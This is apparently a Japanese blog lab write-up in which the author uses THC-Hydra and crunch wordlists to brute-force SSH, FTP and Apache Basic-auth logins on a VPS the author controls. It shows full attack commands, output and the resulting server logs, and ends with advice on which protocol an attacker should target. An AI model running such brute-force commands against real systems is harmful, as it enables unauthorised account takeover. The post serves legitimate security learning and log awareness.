Kali Linuxのhydraでブルートフォースを試す

前回までの記事(http://d.hatena.ne.jp/ozuma/20130527/1369661407)でKali Linuxをインストールしたので、今日はTHC-Hydraを使ってブルートフォースによるログインを試してみる。

※お約束ですが、本記事の内容を他人のサーバに対しておこなうと不正アクセス禁止法に触れることになります。自分の管理下のサーバのみに試すようお願いします。

環境

我が家のKali Linuxは、MacBookParallels Desktop 8 for Macの中で動かしている。このゲスト機のKali Linuxから、さくらのVPSで設置した"やられ役"を攻撃するという形で実験をおこなった。

役割 種別 OS CPU メモリ
ホスト機 MacBook(Early2009) Snow Leopard (Mac OS X 10.5.8) Intel Core 2 Duo (2GHz) 4GB
ゲスト機 Parallels 仮想マシン Kali Linux 1.0.3 Intel Core 2 Duo (2GHz) 1GB
やられ役 さくらのVPS 1G CentOS 6.4 (64bit) Intel Xeon 2.4GHz (2コア) 1GB

やられ役のCentOSはほぼデフォルトであり、カスタマイズはほとんど実施していない。

hydraとは何か

まず今回の攻撃に用いるツール、hydraについて軽く紹介する。
http://www.thc.org/thc-hydra/
hydraはThe Hacker's Choiceという団体が開発している、"A very fast network logon cracker" なソフトウェアである。団体名の頭文字を取って正式名称は THC-Hydra と呼ぶようだ。

ftp, ssh, http, imap, pop3など様々なプロトコルに対応しており、以下のような簡単なコマンドでブルートフォースアタックを実行することができる。

$ hydra -l ozuma -P password.txt 192.168.1.1 ftp

lオプションでユーザ名、pオプションでパスワードを指定する。それぞれのオプションは大文字にするとファイルを指定でき、ファイル中の文字列で順にアタックを行う。

様々なオプションがあるのでコマンドのヘルプを以下に貼っておく:

Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [server service [OPT]]|[service://server[:PORT][/OPT]]

Options:
  -R        restore a previous aborted/crashed session
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to be attacked in parallel, one entry per line
  -o FILE   write found login/password pairs to FILE instead of stdout
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -4 / -6   prefer IPv4 (default) or IPv6 addresses
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -U        service module usage details
  server    the target server (use either this OR the -M option)
  service   the service to crack. Supported protocols: afp cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
  OPT       some service modules support additional input (-U for module help)
Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy.

Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
for legal purposes.  Newest version available at http://www.thc.org/thc-hydra
The following services were not compiled in: sapr3 oracle.

Examples:
  hydra -l john -p doe 192.168.0.1 ftp
  hydra -L user.txt -p defaultpw -S 192.168.0.1 imap PLAIN
  hydra -l admin -P pass.txt http-proxy://192.168.0.1
  hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/DIGEST-MD5

crunchでパスワードファイルを作る

hydraでアタックをおこなう際、パスワードの候補を並べた辞書ファイルが必要となる。ここではKali Linuxにデフォルトでインストールされているcrunchコマンドを使って作成することにする。

あまり詳しく説明すると長くなるので、crunchコマンドは以下のように叩く、ということだけ紹介することにする。

root@kali:~/hydra# crunch 2 2 -o password.txt
Crunch will now generate the following amount of data: 2028 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 676
100%

root@kali:~/hydra# echo 'pv7F-Zppp' >> password.txt

"crunch 2 2" で、2文字のパスワード候補を aa から zz まで676個作成する。そして最終行に正解のパスワードを入れておいて、677個のパスワードでブルートフォースをかけてみる。

hydraによるsshブルートフォース

まず、sshブルートフォースをおこなってみる。なお、hydraは-tオプションでタスク数の調整をおこなっていないので、デフォルトの16である。

sshd_configについてはCentOSデフォルトから特にカスタマイズは行っていない。

root@kali:~/hydra# time hydra -l logintest -P password.txt XX.XX.XX.XX ssh
Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-01 19:41:26
[DATA] 16 tasks, 1 server, 677 login tries (l:1/p:677), ~42 tries per task
[DATA] attacking service ssh on port 22
[ERROR] ssh protocol error
[ERROR] ssh protocol error
[ERROR] ssh protocol error
[ERROR] ssh protocol error
[ERROR] ssh protocol error
[ERROR] ssh protocol error
[ERROR] ssh protocol error
[ERROR] ssh protocol error
[STATUS] 166.00 tries/min, 166 tries in 00:01h, 511 todo in 00:04h, 10 active
[STATUS] 138.00 tries/min, 414 tries in 00:03h, 263 todo in 00:02h, 10 active
[STATUS] 130.25 tries/min, 521 tries in 00:04h, 156 todo in 00:02h, 10 active
[STATUS] 133.20 tries/min, 666 tries in 00:05h, 11 todo in 00:01h, 10 active
[22][ssh] host: XX.XX.XX.XX   login: logintest   password: pv7F-Zppp
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-01 19:46:39

real     5m13.301s
user     0m0.260s
sys     0m1.064s
root@kali:~/hydra# 

677 triesが5分13秒で完了したから……だいたい1秒に2回、1分に120回のブルートフォースということになる。トライ中、8回ほど[ERROR]が表示されたが最終的には正しいパスワードが得られた。

アタックの最中は、当然のことながら猛烈なエラーログが/var/log/secureに出ることになる。

Jun  1 19:50:36 www99999xx sshd[26781]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=p9999-xxxx9999marunouchi.tokyo.ocn.ne.jp  user=logintest
Jun  1 19:50:38 www99999xx sshd[26781]: Failed password for logintest from 114.164.124.XX port 56255 ssh2
Jun  1 19:50:38 www99999xx sshd[26784]: Connection closed by 114.164.124.XX

のセットが基本だけど、他にもこういうのが出ている↓

Jun  1 19:46:23 www99999xx sshd[26718]: PAM service(sshd) ignoring max retries; 6 > 3
Jun  1 19:46:23 www99999xx sshd[26727]: Disconnecting: Too many authentication failures for logintest

認証失敗多すぎって言われてるね。実際のサーバ運用時には、こういうエラーログに気をつけよう。

hydraによるftpブルートフォース

sshは公開鍵認証なので、ログイン処理時のCPU負荷が高いはず。そのため同じブルートフォースアタックならばftpの方が早いのではないだろうか。と予測して、

# yum install proftpd.x86_64

してproftpdをインストールしてから試してみた。proftpd.confもデフォルトのまま。

root@kali:~/hydra# time hydra -l logintest -P password.txt XX.XX.XX.XX ftp
Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-01 19:53:08
[DATA] 16 tasks, 1 server, 677 login tries (l:1/p:677), ~42 tries per task
[DATA] attacking service ftp on port 21
[STATUS] 397.00 tries/min, 397 tries in 00:01h, 280 todo in 00:01h, 16 active
[21][ftp] host: XX.XX.XX.XX   login: logintest   password: pv7F-Zppp
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-01 19:54:52

real     1m44.185s
user     0m0.028s
sys     0m0.716s

おー、早い。677tries が1分44秒だから……1秒で6回、1分に360回くらいのブルートフォースができる。大まかにsshの3倍の速度でアタックできることが分かった。

攻撃中(ログイン失敗時)には、以下のようなログが/var/log/secureに出る。このようなログが大量に出ている場合、自分のサーバが攻撃されている恐れがあるので注意しよう。

Jun  1 19:54:50 www99999xx proftpd[27010]: XX.XX.XX.XX (114.164.124.XX[114.164.124.XX]) - USER logintest (Login failed): Incorrect password. 
Jun  1 19:54:50 www99999xx proftpd[27004]: XX.XX.XX.XX (114.164.124.XX[114.164.124.XX]) - Maximum login attempts (3) exceeded, connection refused 

hydraによるhttpのBASIC認証ブルートフォース

最後に、ApacheBASIC認証をhydraでアタックしてみることにする。ftpsshなどと違い、httpは同時接続が大量にあるということが前提のプロトコルのため、相当早く実行できることが予想される。

まずyumApacheをインストールする。

yum install httpd.x86_64

httpd.confはデフォルトのままとし、動作モードもデフォルトのpreforkとする。そのため設定は以下の値となる。

<IfModule prefork.c>
StartServers       8
MinSpareServers    5
MaxSpareServers   20
ServerLimit      256
MaxClients       256
MaxRequestsPerChild  4000
</IfModule>

この状態でApacheを起動し、/restricted/ok.txt というファイルに .htaccessBASIC認証の設定をおこなってアタックしてみた。

root@kali:~/hydra# time hydra -l logintest -P password.txt XX.XX.XX.XX http-get /restricted/ok.txt
Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-01 20:12:28
[DATA] 16 tasks, 1 server, 677 login tries (l:1/p:677), ~42 tries per task
[DATA] attacking service http-get on port 80
[80][www] host: XX.XX.XX.XX   login: logintest   password: pv7F-Zppp
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-01 20:12:33

real     0m4.274s
user     0m0.056s
sys     0m0.676s

ftpsshとはケタ違いに早く、677triesを4秒で達成できた。早すぎたのでもっとパスワード候補を増やしてみる。

# crunch 3 3 -o password2.txt

を作った。これはaaaからzzzまで10762行ある。このpassword2.txtに、先ほどと同様に末尾に正解のパスワードを入れて、再度ブルートフォースをトライ。

root@kali:~/hydra# time hydra -l logintest -P password2.txt XX.XX.XX.XX http-get /restricted/ok.txt
Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-01 20:23:19
[DATA] 16 tasks, 1 server, 17577 login tries (l:1/p:17577), ~1098 tries per task
[DATA] attacking service http-get on port 80
[STATUS] 10763.00 tries/min, 10763 tries in 00:01h, 6814 todo in 00:01h, 16 active
[80][www] host: XX.XX.XX.XX   login: logintest   password: pv7F-Zppp
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-01 20:24:57

real     1m38.396s
user     0m0.328s
sys     0m13.236s

10763triesを1分38秒、ざっくり1秒に100回トライできている。

もちろんApacheの「客」が一人しかいない状態というのは非常に考えにくいので、この例はかなり特殊な状態ではあるが。sshftpでのブルートフォースにくらべて、ApacheBASIC認証ブルートフォースがいかに素早く行えるかが分かったと思う。

なおこの際、Apacheaccess.logとerror.logにはこんな感じで出ている。

114.164.124.XX - logintest [01/Jun/2013:20:24:57 +0900] "GET /restricted/ok.txt HTTP/1.0" 401 480 "-" "Mozilla/4.0 (Hydra)"
[Sat Jun 01 20:24:57 2013] [error] [client 114.164.124.XX] user logintest: authentication failure for "/restricted/ok.txt": Password Mismatch 

UserAgentは "Mozilla/4.0 (Hydra)" となるようだ。

結論

プロトコル 1秒に実行できるアタック回数
ssh 約2回
ftp 約6回
http 約100回
  • sshよりftpでアタックした方が3倍くらい速い。サーバ管理者にもよるけど、同一ユーザなら両者のパスワードは同じことも多いため、ftpが開いているならftpでアタックした方が「お得」。
  • httpのBASIC認証ブルートフォースは猛烈に早い。(もともとApacheが大量のリクエストを同時にさばくソフトウェアなのだから、当たり前と言えば当たり前だけど……)。そのため、アカウントの使い回しの可能性を探る場合、あるユーザのパスワードを一つ取得したいなら、ApacheBASIC認証のパスワードがあるならそれを狙うのが得策である。